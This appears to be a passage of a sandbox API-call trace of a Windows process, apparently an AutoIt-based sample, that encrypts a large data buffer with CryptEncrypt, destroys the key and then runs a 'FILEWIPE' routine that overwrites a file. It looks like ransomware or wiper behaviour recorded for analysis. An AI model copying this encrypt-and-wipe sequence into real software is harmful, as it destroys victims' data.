CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.137] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.137] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.137] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.137] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.137] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.137] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.137] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.137] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.137] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.139] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.139] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1688b, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x16890) returned 1 [0029.139] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.139] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.139] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.139] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.139] CharLowerBuffW (in: lpsz="byte[92305]", cchLength=0xb | out: lpsz="byte[92305]") returned 0xb [0029.139] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.140] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.140] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.140] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.140] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.140] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x1688b, dwBufLen=0x16890 | out: pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x16890) returned 1 [0029.141] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.141] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.141] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.141] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.141] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.141] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.141] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.141] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.141] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.141] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.141] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.141] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.141] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.141] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.141] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.141] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.141] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.146] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.146] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.147] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.149] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.149] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.149] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.149] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.149] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.149] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.149] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.149] CryptDestroyKey (hKey=0xe8f40624f0) returned 1 [0029.149] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.149] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.149] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.149] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.149] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.149] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.149] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.149] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.149] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.149] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.149] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.149] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.149] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.149] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.149] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.149] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.149] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.149] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.149] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.149] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.149] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.150] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.150] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.150] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.150] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.150] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.150] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.150] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.150] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.150] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0029.150] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.150] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.150] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.150] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.150] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.150] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.152] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.152] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.155] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.155] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.155] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.155] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.155] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.156] CharLowerBuffW (in: lpsz="byte[92299]", cchLength=0xb | out: lpsz="byte[92299]") returned 0xb [0029.157] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.157] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.157] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.157] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.157] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.157] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.157] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.157] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.157] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.157] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.157] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.157] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.157] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.157] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.157] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.157] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.157] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.157] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.157] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.157] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.157] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.157] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.158] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.158] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.158] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.158] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.158] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.158] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.158] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.158] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.158] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.158] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.158] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.158] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.158] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.158] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.158] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.158] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.158] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.158] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.158] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.159] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.159] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.159] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.159] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.159] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.159] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.159] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.159] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.160] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.160] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=10365) returned 1 [0029.160] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) 